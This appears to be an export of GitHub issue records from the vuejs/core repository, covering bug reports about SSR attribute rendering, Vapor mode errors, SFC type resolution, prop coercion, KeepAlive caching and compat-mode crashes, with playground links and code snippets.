https://play.vuejs.org/#__SSR__eNp9Uk1PwzAM/StRLh1S6Q5wKgMJ0CRAfAk45lJ17hponSpxYWjqf8dxN+gByCWJn5/z8uytPu+67L0HnetFKL3tSAWgvjszaNvOeVJ3n5eOTwhIqvKuVUk2n8SSE4MGF/ORzDS+ELRdUxDwTanFtMCcQ4v5BNepplA6rOw6ew0OWcc2sowumWQb8A8dWYfB6FwJErGiadzHjcTI95Du42UN5dsv8dewiTGjHz0E8O9g9DdGhV8DjfDy+R42fP4GW7fqG87+B3yC4Jo+ahzTLnpcsexJnqi9Fjctrl/CckOAYf+pKDRmDpJvNDcj+vXX13/kHmXHwjM4sIsTlzMKbOOufVu1gsqi1BQ0VXWqQi2inqBSw66r/G4Suwcb4TGr6BvZp+yZCMGihVwly7IuPIVElFuswVs6J/IhV1XRhNF/GafZwf4H3OtAyjtH6nQiY3YgcxQzPBM8KqacygDFVc+S9vMwjsQ4dOm+3Eiocqm4czwuiwj+6uXulmXWwI+MIuMa4lOj33LUwxd+Zf66

### Steps to reproduce

When I use template ref on a custom element in SSR mode. It will render a `ref=""[object Object]""` attribute unexpectedly:
```html
<my-component ref=""[object Object]"">hello</my-component>
```

### What is expected?

```html
<my-component>hello</my-component>
```

### What is actually happening?

```html
<my-component ref=""[object Object]"">hello</my-component>
```

### System Info

```shell

```

### Any additional comments?

originally posted in https://github.com/nuxt/nuxt/issues/34016
The reproduction on Vue playground is provided by @danielroe ",":hammer: p3-minor-bug,scope:hydration",2026-01-04T13:52:04Z,2026-01-19T00:52:45Z,5
vuejs/core,3776816197,模版中绑定style值，使用calc但是不知为何现在不起作用了，我很确定vue3 3.4.19版本都还可以使用，但是我最近使用新版则不行了,"### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U9tu00AQ/ZVlBXIiBSdcH4wTbqoEPABqkXjxQ117nGy73rX2khpZ/gu+gce+g4T4Gcp3MOutHadqu4oc7+yZM+fMjhv6uqrCrQUa0VhnilVmlQhWVlIZ0hAjD6HQM6KgmGWyrKyBnLSkULIkAWYFLxIBdQfOoUgtx6REEKLB2Goy9RtCMim0IUy/gzQHdWRYdrZEykmRcg3TMWZzhfjGgSwx5ktOkGq58mweV4KwX1luNoja4w23KbfgKV+SRRQ8fva8qgMXUChKiV6TW+eOISLHWcqzyaPF4gF5SO43A3c7PZ7twBtg642JAsQh4eggk1yqKFCQj6MnUqEmhFc10ZKzHOvnnQ63WmxcO8XHznq2ScXauR6ZdesGe8t7t3pu/d91r2EY+ruc7GVOB8Gjxg8xr2jEiw/8xfNhUHBjoKx4agB3hMQ525JIO5ZlQkecCV01zd7ttm08R7RPO7HGSEFeZdyNRkKvKtPV3z8X/77/RNzlxe/LXz/iuUdiVjwfKtMZNRqbWLB1eKqlwFnujCMPDhDjoD5VhmGTExr1LUloyrk8/9DFjLK9a1cbsrMb4qe6drGEflagQW1R3nBmUrUG448Pjj5Cje/DYSlz6zpwx+Eh4IhYp9HD3liRo+wRrlP7vvsumVh/0Qe1AaF7U05od0EdPqH4ab69w/pO7pPwaX+xtP0PoA5VQA==

### Steps to reproduce

<script>
import { toRefs, ref,computed } from 'vue';
export default {
  setup() {
    const isHeaderStick=ref(false)
    const headerStyle = computed(() => {
  const menuWidth = isHeaderStick.value
    ? 0:'256px'
  return {
        width: `calc(100% - ${menuWidth})`,
        height:'100px',
        color:'red',
        border:'1px solid red'
      };
});
    const change = () => {
      isHeaderStick.value=!isHeaderStick.value
    }
    return {
      ...toRefs(isHeaderStick),
      headerStyle,
      change
    }
  }
}
</script>

<template>
  <div :style=""headerStyle"">{{ headerStyle }}</div>
  <button @click=""change"">修改文字颜色</button>
</template>

### What is expected?

希望依然可以像原... [TRUNCATED]",,2026-01-02T17:21:30Z,2026-01-03T06:03:26Z,3
vuejs/core,3773832261,"Runtime error with Vapor, CSS `v-bind` and optional root node","### Vue version

3.6.0-beta.1

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UU1LAzEQ/StDLrXQbpWKh7otqBTUg4p6DMg2O1tTs0lIsmul7H93kqW1B+lpd+Z98N5kx26szdoG2YzlXjhpA3gMjYW2sMYtuJY1fQPswGEFHVTO1DAgwYBrroXRPoAwyjiYR8bZwGE5GHKdT3o3cqAhYG1VEZAmgLyULbRjWc05qwrlkTMQqvCeZlJztriX+YRIxM4nR1IaffhRCF4YiyVtMuLDLpqmDDOyXUldnqVpeM11l5JE0YKNWCChruQ623ijqXFSciZMbaVC92yDpEKczXrPiBVKme/HtAuuwdF+Lz5RfP2z3/ht3HH24tCja6ncAQuFW2Po4eXbE27p/wDWpmwUsU+Ar+iNamLGnnbb6JJiH/FS2of0YlKv3/1yG1D7fakYNDK7xOeMXvHuRPW/uNPsMunonnTFjxZd9KQDTrOr7Hy8wlBkF6z7Bc0fw7Q=

### Steps to reproduce

Open the Playground and check the console:

```
TypeError: Cannot read properties of undefined (reading 'nodes')
```

The Playground is using `v-if=""false""` to make the root node optional, but using `v-for=""i in []""` instead also triggers a similar error.",":hammer: p3-minor-bug,scope: vapor",2025-12-31T22:22:13Z,2026-01-04T01:11:04Z,1
vuejs/core,3772760539,Duplicate `_unref` imports in production Vapor builds,"### Vue version

3.6.0-beta.1

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNp9UkFOwzAQ/IrlS1updaiKOJS0EqAe4AAIOFpCabJtXRzbsp0QFOXvrB019IB6SbK7M6PZnbT0zhhWV0CXNHW5FcYTB74ypM6MtmuuRIlvT1qSa6kt6cjO6pKMWFJ5IR07uhFXadJTEY6Fh9LIzANWhKSHOcll5tyKUwsFp+t2kOrS5DBHVJqcUbB0/kcCcbk2UGCHIY+0QSzylqSebYUqxrGa3HLVRQeBtKZT6pGodmKP1rTCtSKT01yXRkiwL8YLrRyny14zzDIp9fdT7HlbwfTUzw+Qf/3TP7om9Dh9teDA1sDpMPOZ3YPvx5v3Z2jwexiWuqgkoi8M38BpibfVqofdV6pA22e46PYxxiLU/sNtGg/KnZYKRgOyi3hOMduHC6v/2V2w68jDe+IVT+niAYc/wMJuyB9lMXiuoIlDPLkLz5DrKgDHI0xtNEGlzxpscIdKC3bDrmZb8Bmb0+4Xj+jUAQ==

### Steps to reproduce

Open the Playground, compilation fails.

```
SyntaxError: Identifier '_unref' has already been declared.
```

### Any additional comments?

This isn't specifically a Playground problem, I observed it in a Vite application.

I believe one copy of `_unref` is needed to handle `{{ color }}`, because `color` is a `setup-maybe-ref`. The other is needed to handle the CSS `v-bind`.

It only fails for a production build. During dev the `{{ color }}` binding is handled differently and doesn't use `unref`.",":hammer: p3-minor-bug,scope: vapor",2025-12-31T12:58:23Z,2026-01-04T01:10:25Z,1
vuejs/core,3771938301,The render code compiled using Vue compiler-dom encounters an error in the browser console during runtime,"### Vue version

3.5.26

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-itypu19n?file=index.html

### Steps to reproduce

The code simplifies the actual scenario by returning the code string of the ""render"" method through the ""compute()"" method in Vue compiler-dom for the template part of a loading component, and finally running it through ""vue. global. js"". But the browser console prompts:
---------
<pre>
""[Vue warn]: Property undefined was accessed during render but is not defined on instance. 
at Demo timeout=30 event_id=0 error=false 
at App""
</pre>
---------
What exactly happened here?
(I use Option API)

<img width=""1408"" height=""1252"" alt=""Image"" src=""https://github.com/user-attachments/assets/daeaa8e7-1563-484c-9fe8-967dac635779"" />

### What is expected?

no warn

### What is actually happening?

？

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-12-31T04:12:51Z,2026-01-01T13:25:52Z,1
vuejs/core,3770315339,Props modifiers in render functions do not handled properly on SSR,"### Vue version

v3.5.26

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNp9kd9LwzAQx/+VIy/ZoLaIPs0qqEzQBxX1MQilva2daRKSdCuU/u9e0m3uQX0IyX3vc7lfA7s1Jt12yBYsd6VtjAeHvjM3QjWt0dbDvW4NrKxugadZMPiVUHk2wYSR4bE1svBIFkAemIyeeXais4R5V2q1atbpxmlF+YZAC1YS3ki0L8Y3WjnBFhA9wVdIqXdPUfO2w+SglzWWX7/oG9cHTbBXiw7tFgU7+nxh1+gn9/L9GXt6H52trjpJ9D/ON3RadqHGCbvrVEVln3Cx2sc4tUatP9yy96jcoalQaCDHyAtGQw+T+qv1n3Iv0ssYJ9RIUwwxqXc0v/1+hgpXjYp/aYXKJ1CP+31RCi4srYgO9pEmuOhkvE+DZkNgYNr9bL63ACzZVsFsfn0D9YzX5zyBgX9WhS/OCu8tXwCvkfomnafGahOUnbay4tQp8IdOlaG5QkJYdEzG59P3NAm6xzkbvwF6Z9cj

### Steps to reproduce

1. Open the Vue SFC Playground reproduction
2. Enable SSR and switch preview tab to ""SSR Output"" .
3. Inspect the rendered HTML

### What is expected?

According to Vue docs (https://vuejs.org/guide/extras/render-function) we can pass props modifiers such as `.prop` and `.attr` to `h()` function to pick the way how keys should be assigned (either as attribute or prop).

### What is actually happening?

In SSR mode, when passing props modifiers such as `^` or `.` to `h()` function, they are not proccessed and rendered as raw string.

For example is we specify 
```
h('h1', {'^data-attr': 'hello', '.prop': 'world' }, 'Functional component')
```
We will get the following HTML output
```
<h1 ^data-attr=""hello"" .prop=""world"">Functional component</h1>
```

 It only happens when SSR is enabled

### System Info

```shell

```

### Any additional comments?

Reported in https://github.com/nuxt/nuxt/is... [TRUNCATED]","scope: ssr,:hammer: p3-minor-bug",2025-12-30T14:07:31Z,2026-01-19T00:51:16Z,0
vuejs/core,3769922148,[plugin:vite:vue] [@vue/compiler-sfc] Failed to resolve index type into finite keys,"### Vue version

v3.5.26

### Link to minimal reproduction

https://play.vuejs.org/#eNrtVF1v0zAU/SsXvwykqRGCpyoNArQHGB/TViqheUJucpO4dWzLdvqh0f/OjdO1nYgmwfOeIp97fHN8fI/v2XtrR6sW2ZilPnfSBvAYWgtK6GrCWfCcZVwnCXwxuVAQthahwFJqGaTRHoIBsTKygLkza48O5q1UBUjvW/SwlqHu98jGGhc8lM40cEZ/POM6Fq6xTKcZTOCea4CVUC2OYcr1jus946vYzvFAm8Lv/Z4D4aYWSpn1D712wj7ud3sJUsMSt6aE6R01vr28A9wE1IU/Npa6JOWzDN7BDHrSXgBuOtnUI6ArRY5QG7P0V85Y3/9AjI9tdNvM0ZEugPkwnA/DxTBMRgzB5TBcDcP1MCyH4cUwvByG1RB86lu8ntzQ3WvUobdt8vd9HU2Nl8p1TqMVwO75cd4w1tPHzbKXr7hOk35y4940YGOVCBgFpvXr7KdpoaABleFFmtA64jZ+AGbSywCpgNphSfNeh2D9OEloQBd+ZFyVcAZBuAoDVX/NKRZLQhwqWmpjLGp0FJEDP01E1oXCoSgg1Nj/pjB525Bo0YUmCkg6BWlyopaWPmwVgs+pbZHRsbolVdg55ZAsKWU1WnijKaxx9jjr3JAK3Xcb08jZuJ/KrhY9/hyx4Fo8f8DzGvPlAL7wmw7j7MohBXmFnB1qvQN9+eLmGwXopNiYolXEfqJ4jd6oNh4+0j60uiDZJ7yo9lN8JKSupv6iy6h/OFQntGPuIp8zsvvjE0c/yn0zehv30Vh2LtI4joIn/54ftOcH7X8etH98y9juD0SVi8w=

### Steps to reproduce

```ts
import type { MaybeRef, ShallowUnwrapRef } from 'vue'

export interface hooksProps {
  a: MaybeRef<number>
  b: MaybeRef<number>
  c: MaybeRef<number>
  d: MaybeRef<number>
  e: MaybeRef<number>
  f: MaybeRef<number>
  g: MaybeRef<number>
  h: MaybeRef<number>
  i: MaybeRef<number>
  j: MaybeRef<number>
  k: MaybeRef<number>
  l: MaybeRef<number>
}

export type componentProps = ShallowUnwrapRef<hooksProps>
```

### What is expected?

use the UnwrapRef tool exported from vue

### What is actually happening?

compile error

### System Info

```shell
System:
    OS: macOS 15.7.3
    C... [TRUNCATED]","scope: sfc,has workaround",2025-12-30T11:46:05Z,2026-01-01T13:29:42Z,1
vuejs/core,3761681407,[Vapor] Incorrect merging of single prototype method called in various signatures,"### Vue version

3.6.0-beta.1

### Link to minimal reproduction

https://play.vuejs.org/#eNrFU01v1DAQ/SuDhZSutElASBxCuhKgHuAAFXC0RJ1kduuS2JbthEVR/jtj76YEqV3tperJnnlvxm8+PLL3xmRDj6xgpautNB4c+t5AK9TukjPvOINBGG03XMmOTg/XVhsHW6s7SLI8WiFFwhVXtVbOg2zgEjgTVc0ZV2V+yEwZyPDYmVZ4JAugbOQQL3R9kabgbxFq4RD0Fkx8Jk1n/PBsIRuSJRuSlT8WSSI87v0RrXrvtdqMI8nKLNLjNV5wVnG2Dho5W8E0lfmRdlYQlfVf0EJl0KLt0ZDK9B78H4OhlUESg0KJLpiLvEmVrCERySrAg2j7gN+8HB+iTA1ub2Lx86NlfmhimS9ay9Y0OurDVu6yO6cVzXcMZNKuOyNbtF+NlzQszgqISMBE2+rfn6PP2x7Xs7++xfrXA/47tw8+zq4tOrQDUntmzAu7Qyo4wFffv8Ti78FON31L7BPgN3S67YPGA+1DrxqSveBFtZ/iTkq1++Gu9h6Vm4sKQgNzinzOaEM/nij9n9w32dsYx9VEXbxf77N+CA1HKowxZUwtmwKct6TvHeXbXKzoOP8/POMGLxxPusWnNvjngDbMk1pPQ8lepRV6kb1m019Y3IA3

### Steps to reproduce

1\. Open the link
2\. There is an error
(3. Uncomment or comment out to check error)
(4. Remove vapor attribute in script tag to check no error)


### What is expected?

No error

Functions should not be merged like:
```js
const _id = $props.id
_setProp(n0, ""name"", _id.replace('b', 'a'))
_setValue(n0, `${_id.replace('b', 'a')}def`)
```
or same call signature in template literals, result is still merged like:
```js
const __id_replace = $props.id.replace('b', 'a')
_setProp(n0, ""name"", __id_replace)
_setValue(n0, `${__id_replace}def`)
```


### What is actually happening?

On Firefox, it throws error: `String.prototype.replace called on incompatible undefined`
On Chrome, it throws error: `String.prototype.replace called on null or undefined` or `_id_replace ... [TRUNCATED]","scope: compiler,:hammer: p3-minor-bug,scope: vapor",2025-12-25T09:12:20Z,2025-12-25T13:17:41Z,1
vuejs/core,3761456035,<script setup vapor>: component template ref is always undefined,"### Vue version

3.6.0-beta.1

### Link to minimal reproduction

https://play.vuejs.org/#eNq9Ustu2zAQ/BWCl8hwSqVI0UMgqy/4kB7aos2RQKFIK5UJRRJ8qC4M/XuXpOW4QOve4oNF7g5nZ3dnT98Zw6YA9IZWHkYjGw81VwR/VSemwzFdP+jREAv9htMWj5yS8jR9H7zXirxtpWgfEdN0Haf1utVB+arM2YW5zNRVeVISr661wnjiwAdDZKMGpPEOC02N0RYxYsSvJ/sog8ykt3okF6j+4phKInOclfESm8M0V61WzpOonGzi++oW741q4e6Xgcrjn+7T87ouVk8PsA3EFyuyqck+y48JLYFJPRSRj02NDLAiZUmC6qAXCroFuWTfMCSKvHNsOzeKDdFLbBD5ejGwB6cVriEVySMWEuxn4wXW4/RmKY+jlVL//Jhi3ga4XOLtD2gf/xJ/cLsY4/SLBQd2Ak6POd/YAXxOb799gh2ej8lRd0Ei+kzyK+AsQtSYYe9xBCj7BJfU3qb1CDXcue3Og3JLU1FoRM4JzymuKy7hX60/yb1mr9I7HClOcVn1/32cDImM+3wiMzI8h4nP23dxZ1SU7FlcoVnOWBCB2VnrdTIVPzhvuzPaQXHARf1qRqY/Pfd9Ahs3gNO6Zq/Z1Yt78A17Seff5DdVBQ==

### Steps to reproduce

App.vue
```vue
<template>
  <div>
    <Comp ref=""comp"" />
    <button @click=""addB"">+b</button>
  </div>
</template>

<script setup lang=""ts"" vapor>
import { ref } from 'vue'
import Comp from './Comp.vue'

const comp = ref<InstanceType<typeof Comp>>()

const addB = () => {
  console.log(comp.value) // is undefined in vapor mode
  comp.value?.add()
}
</script>
```

### What is expected?

In vapor mode:

comp.value should reference the child component instance after mount

Exposed methods (defineExpose) should be callable

Behavior should be consistent with non-vapor mode, or clearly documented if unsupported

### What is actually happening?

In vapor mode:

comp.value === undefined

Component instance and exposed methods are not accessible

In non-vapor mo... [TRUNCATED]",":hammer: p3-minor-bug,scope: vapor,interop",2025-12-25T05:56:33Z,2025-12-25T13:21:45Z,1
vuejs/core,3753177485,[plugin:vite:vue] [@vue/compiler-sfc] Unresolvable type reference or unsupported built-in utility type,"### Vue version

3.5.26

### Link to minimal reproduction

https://play.vuejs.org/#eNp9ksFOwzAMhl8lygmkaTvAqeomAdoBDjANboRDl3qlW5pEibsVVX13nGYt04QmVVXy+0/82U7LH6ydHmrgCU+9dKVFpjJdzAVHL/hCaGisccjaTmihc5Aqc8AKZTaZYq3QjOGPBWYslkZ7No8aY9LkkAybaEqYR1fqYtCsM9YnbA3SuDyNsQmr9V6bo6bM0eVBgUTIE7YxRkFGFEEmnP5HXzqL4HSENqciPGBtL0qRRIgxLYHmsC01rMIuPeF/Ch64Bf9a3NxeXoxQWZUh9GSpdbBo29NlXZfOghCOnNn4hDJT0m1ZTHfeaOpx35CQpbKlAvcW8wo+tkrwTClzfOk1dDVMBl1+g9z/o+98EzTBVw48uAPhjzHMXAEYw8v3V2hoPQYrk9eK3FeCa/BG1YEx2h5rnRP2ma+nfa7CG6Hxffhlg6D9UFQA7QfV+wWnh/Z0pfQ/3Lvp/TBg3v0CFs7jOg==

### Steps to reproduce

Define global indexed type like (typicaly in `types.d.ts` but not supported in https://play.vuejs.org/)
```
declare global {
  type options = {
    code: {
      type: string
      props: Record<string, unknown>
      selected: boolean
    }
  }
}
```
2. Use it anywhere to reproduce the error
<img width=""857"" height=""215"" alt=""Image"" src=""https://github.com/user-attachments/assets/e49f1be2-05eb-40e8-a1f1-f8c80793fcfb"" />


### What is expected?

No error just like with older versions of vue.

### What is actually happening?

An error happens because global index types don't seem to be supported anymore?

### System Info

```shell
|                      |                                                                                                                                                             |
| -------------------- | ---------------------------------------------------------------------... [TRUNCATED]","scope: sfc,has workaround,:hammer: p3-minor-bug",2025-12-22T10:10:34Z,2026-01-19T00:47:12Z,5
vuejs/core,3749698710,`v-for` allows unmatched parentheses around value content,"### Vue version

3.5.26

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kM1KAzEUhV8l3E0RagpWXZRRUOlCFyrqMiDDzO00NZOE/Dkw5N2bpPRnUboL53y599wzwpPWNHiEBVQOey1qh49MElK1PJBwvVLmgQG/IlySyRqFUBMGBSBkHAknMRZ6lvAkV7OTITAFZxslV7yjG6tk2jFmmEGjes0Fmg/tuJKWwYIUJ3t12vH/VjRnPE73erPG5u+MvrFD1hh8GrRoAjI4eK42Hbqdvfx+xyG9D2avWi8SfcH8QquEzxl32LOXbYp9wpW0r71WxnHZ/djl4FDa/VE5aCZj4Rmkol8unH6MO6e35R+TMbX4G9DkmanAOb2jN/cQtyuLjTU=

### Steps to reproduce

```vue
<template>
  <div v-for=""i) in 'hello'"">
    {{ i }}
  </div>
</template>
```

### What is expected?

Parsing error

### What is actually happening?

This RegExp https://github.com/vuejs/core/blob/c68bebfa6da687c2f734dac1aa2c5b51126c3ff0/packages/compiler-core/src/parser.ts#L494 strips opening/closing parens even if they don't have a matching pair

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-12-20T07:21:30Z,2025-12-23T00:18:43Z,3
vuejs/core,3738188490,Empty string gets coerced to true when Boolean is first in type array,"### Vue version

3.5.25

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNp9Us1O8zAQfJWVLwWpSg7fd4oiJEA9wAEQIC6YQ0g2bcDxWv4pQVXfnbXTBJCAmz0zXs/O7k6cGpNtA4pClK62nfHg0AdzInXXG7IedmCxhT20lnpYsHQxU+fUmwOe5fESKzFd5mMpLsIXj71RlUe+AZRRdlImNQNl/oUVS+FdTbrt1tmLI82edvGNFDWrO4X22viOtJOigMRErlKK3i4T5m3A5YTXG6xff8Bf3BAxKW4sOrRblGLmfGXX6Ed6dXeFA59nsqcmKFb/Qd6iIxWix1F2FnTDtr/oktuLFF+n1/duNXjUbmoqGo3KfdJLwXHGoH5r/dPuv+x/eif1nlOcRhGH+j39ptumA8AG2Qm8kVVNYvKR+jYQvs6DxCGNvMG2Coq3Ij4yloyb/bRE8xnAvxss4PGMSGGll3DnLTe8hKvQP6N9OgQCU8ECFrw4EeAepgB6Ctpjc3Q8lc1zWA0GawYLeKhU4C+kkALu028u/TFLT2sfKjULY7gH4fPoalTyxvHUMFO0PvKbzmXcyPGUZgphWmex/wA/JQyI

### Steps to reproduce

  1. Define a prop with type: [Boolean, String, Number] (Boolean listed first)
  2. Set a default value of empty string: default: ''
  3. Pass an empty string value to the component: <Component value="""" />
  4. Check the received prop value in the component

### What is expected?

  When passing value="""", the component should receive:
  - this.value === """" (empty string)
  - typeof this.value === ""string""

### What is actually happening?

  When Boolean is the first type in the array, Vue incorrectly coerces the empty string """" to true:
  - this.value === true
  - typeof this.value === ""boolean""

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-12-17T09:59:58Z,2025-12-18T02:01:58Z,1
vuejs/core,3738054234,the watch Unexpected triggering,"### Vue version

3.5.x

### Link to minimal reproduction

https://play.vuejs.org/#eNqNVEtS20AQvUqXNhZVQiKQFWVIJRSLZAGphKU2QmrZIqMZZT6yXS7fIEfKnXKFdM9I/oAhWegz3a97Xn/X0ceuS3uH0WU0NaVuOgsGreuucwlN2ylt4Ua1HdRatTBJMz4wfpLLQb3WWG8G/aGCHN0/Po26NDNWaUyt2YOUGguLOwjWNZa26QdYLksljQWNskINV0B/dWy1wxNW0gUPTYvK2Tg+ubqGNZEGtlACU6Fm8cTYgq4xc7UAO0f46dDYRsmJNw9YC6VQBsl5IBMPunBn2hfCsbIuhMGgCXHF0gkxYLMMmhpWyoFUFoPDP79/+TsXhS3n0EifR04dY8DqZjajkJSGRSPEeE5gMV8dSD54nuyQiW0SuDg7O/PX5nKahZJRsehgse0EBcClg6mvWn/a1Fd5FELJo+uprx8BptkeOkoiaygVdTNLn4yS1As+k3lUEroRqO87zprJo8uQY9YVQqjFFy/jgiSjvJxj+eOI/MksWZZHXzUa1D3m0VZHVZqhDerb73e4pP+tslWVE4R+Q/kNqeSOOQbYJycror2H82w/+65r5OzB3C4tSjMGxUQZufH4PKIqcaJeC31H9yJ97+2oMpTFscJHhmlseN8NCbfx4czsEOqVkcmlt41Jn0BMbXm840l96oGTBBhEzOh5q1Oqpvc/4DvUi7Ige94lIxuK7x/xaLpneHDpkWHUiB3NEg/xuriEd0TtEFU7SeOv5DhjHAEFSQBg2+000peFnPT9lUHEgOUju2GkacclEFjCc5p7S+78YMudhzXHV/vXc4bjthjphQB7qSomOI+9j218o77ouu2mIVrxYDyum0sgh1RX7yaodjkafSw0efHrsFKla1HaNDi8FcineELloxXnTQZwWorCmLuiZXKT0plTxgTI1sujqlYpw2V1M29EFQ/GewzonLbK0SUvdZp6XdN3m6KKtq1Wq12Ogr2TwcPAcMdRY6t63nMhcP/x7/EZZsyX5sWQ/V+PT42g9ZsF8dE+3/wFsf1xzg==

### Steps to reproduce

1. wait the time，see console-log 
2. note close-fn，wait the time，see console-log 

### What is expected?

don‘t trigger watch

### What is actually happening?

other app unmount ，current app watch will trigger

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-12-17T09:21:32Z,2025-12-18T08:31:09Z,0
vuejs/core,3736997090,updating keepalive include will cause asyn loaded components to not be cached.,"### Vue version

3.5.25

### Link to minimal reproduction

https://play.vuejs.org/#eNrNVE2P0zAQ/SujXNJqS0MFp6hdsaA9LEiAlr1hpA3JtPHWcSLbSbuq+t8Z2/miKrBCCO0hUux58+Z5/DyH4Kqq5k2NQRwsdap4ZUCjqatLJnlRlcrAAfIZKFzPQOeJEOXu1v5nuOYSr/SjTN+VBJQoDRxhrcoCQuILmWQyLaU2kFIcVmczJgcmAUSZZKhimExhdQm+7CScRxZmtYVTJo/0DXSLv+ZbnCGslaJcGyXa4ZCTc4gP+EggascQ3SJWieAN3shU1Bm28a+hUxp+I2AH1Ttu0ryt5OU5xVEEdznXsONCUHJRNgj3Lv3et9TkCGmS5mjRpwXnTSJqW7YvaVH242uY/Cy+w65W4MDh1CuA8SF7wnziCOkEJ4gRk+dZ0IUDGQCFxj8zPoHQ89E9MbmMvDPJk7QwWFQiMUgrgKXtxQvXDIi5b8eKBacdYoFDE95Se7PGXBNyJIEFEHnSaGD1G99rY0oJb1LB0y1lDfdIzH7hfOmYl5GHU+oyGqkNZoHR5IM138wfdCnpyblGkQhK5QLVp8pw8gkL4q6FLHBufO/2jKpx1u2TF9Ltmf0Hvbd7LPisUKNq6Ox9zCRqg8aHr798xD3998GizGpB6N8Eb1GXorYaPextLTOSPcI5tTfuxXG5udPXe4NSd4eyQt21OjwL6CnaHv7q6IPcV/PXnR2oi91cGGbWeFrR2zsZRLh3IRoYSS0IYqlkUmDcOs2pcVOPnmTn3XbW1NKgal/0y9a2iqBKdkiLdSi/JI1P8W3Gm9aSbjx2hWgGHA796ujIzvivBVxckP3I9QoTjSPbWQv7AqcG7EfgP+rd4hk0b/Gfunf8AUnkbnU=

### Steps to reproduce

In the example, there are two asynchronous components, with `comp1` included in the `include` list.
Click to switch components, switch to `comp1`, then click ""increase"" to increment the counter, and then click to switch components twice more. You will find that the counter for `comp1` resets to zero.

### What is expected?

After switching components, the counter in comp1 should retain its previous value.

### What is actually happening?

After switching components, the counter in comp1 is reset to 0.

### System Info

```shell
System:
 ... [TRUNCATED]","scope: keep-alive,:hammer: p3-minor-bug",2025-12-17T01:50:32Z,2025-12-18T08:14:24Z,0
vuejs/core,3732820705,"When runtime props are added, the generic type inference in defineComponent is lost.","### Vue version

lastest

### Link to minimal reproduction

https://www.typescriptlang.org/play/?jsx=1#code/JYWwDg9gTgLgBAbzgEwKYDNgDtUGELgQ5YwA0cUGcAvnOlAXAOQBuArqkwNwBQPAxkQDO8fODgBeFBmx4CkYjAAUPOHAA8AFTioAHjFRZkQuACVUgqMnUio2AObkAhlgCeAPndKwDMEIBciHCqanAgQvaBtg5cwaFwADbAIoGaANoAurEhakQAkgYguEn8ANYA-IFKwIWp5NhouoFYbCAARqhQAJSS7nAsEMDIcTQ9En0IOXCCWCLTEGwkkhQYSgAMXXzxM3MAFi7ICXglpcvVtXCa9UZ6za0d3b2IU2qCizAAdCxOCRxwANRSACMvHiah8ED8H3yhWKwDK5Q+51QIGujS6oNC1C2oUoMDYUCwcCUYz6KjBGmQwBY7heoXUVJpCAhUPC9loCDeJC+Pw41HUAHpGbSKWp1GwEiLRWpmb4hB8kiIPiAnGAlMjUXAGnpScS6RT1EkRtL4qVUK4JAhtbpsSawUQ4WVLSSnvsjEdHaUNWidba7aERK4jpakPwCUJoIEmJBsAYoExyGAnMgqVhIswABxgXQJsJOKD2bBRgAs2dzbWgaCgUaB2bgEaSwwAxPxW0waH67VL-YgAFIAZQA8gA5D7RNPAdCuDVdTsmwVJbuirqz-UaAUSpdioXUpebNTUUghSbxFkBOBpJhs3NMRUwJgZELYjF8dRiMAjNkSABEgApXQDsRoA6EqABYR34jHelppEgWBOCAqBRgAgiUnDOPY8FwAATAArDQ5DQbB6FMAAQhAbS5k4aGBAAzGsNAZLQIQwiinrOjUKI+rouo7BARwKhA9hKEwnqoMg-i5mxmrWquAruFwQA

### Steps to reproduce

```
import { defineComponent, ref } from 'vue';

const Comp = defineComponent(
  <T extends Record<string, any>>(props: { 
    msg: string; 
    list: T[]; 
    onItemClick?: (item: T, index: number) => void 
  }) => {
    const count = ref(0)

    const handleClick = (item: T, index: number) => {
      count.value += 1;
      props.onItemClick?.(item, index);
    }

    return () => (
      <div>
        <div>{props.msg} {count.value}</div>
        <ul>
          {props.list.map((item, index) => (
            <li 
              key... [TRUNCATED]",scope: types,2025-12-16T02:20:03Z,2025-12-16T02:33:35Z,0
vuejs/core,3728634348,[Regression 3.5.25] @vue/compat: Crash in warnDeprecation when processing COMPONENT_V_MODEL (instance.appContext is undefined),"### Vue version

3.5.25

### Link to minimal reproduction

see below

### Steps to reproduce

1. Use `@vue/compat` with Vue 3.5.25.
2. Configure compat mode to Vue 2 (`MODE: 2`).
3. Create a component that accepts `v-model` (legacy usage).
4. Run the application.

```html
<!DOCTYPE html>
<html>
<head>
  <meta charset=""utf-8"">
  <title>Vue 3.5.25 Compat Crash Reproduction</title>
  <script src=""https://unpkg.com/@vue/compat@3.5.25/dist/vue.global.js""></script>
</head>
<body>
  <div id=""app""></div>

  <script>
    // 1. Configure compat mode
    Vue.configureCompat({ MODE: 2 });

    // 2. Define a component using v-model (legacy usage)
    const ChildComponent = {
      template: `<div @click=""$emit('update:modelValue', 'new val')"">{{ modelValue }}</div>`,
      props: ['modelValue']
    };

    // 3. Initialize App
    new Vue({
      el: '#app',
      components: { ChildComponent },
      data: {
        myVal: 'initial'
      },
      // Using v-model on a component triggers COMPONENT_V_MODEL warning logic inside compat
      template: `
        <div>
          <h1>Reproduction</h1>
          <p>Click the text below. Check console for crash.</p>
          <child-component v-model=""myVal""></child-component>
        </div>
      `
    });
  </script>
</body>
</html>
```

[Reproduction.html](https://github.com/user-attachments/files/24157211/Reproduction.html)

### What is expected?

A deprecation warning (`COMPONENT_V_MODEL`) should be logged to the console, but the applicati... [TRUNCATED]",":hammer: p3-minor-bug,scope: v2 compat",2025-12-15T04:23:00Z,2025-12-18T08:14:55Z,0
vuejs/core,3719811091,[Vapor mode] Modal with Transitions rendering issue,"### Vue version

3.6.0-alpha.6

### Link to minimal reproduction

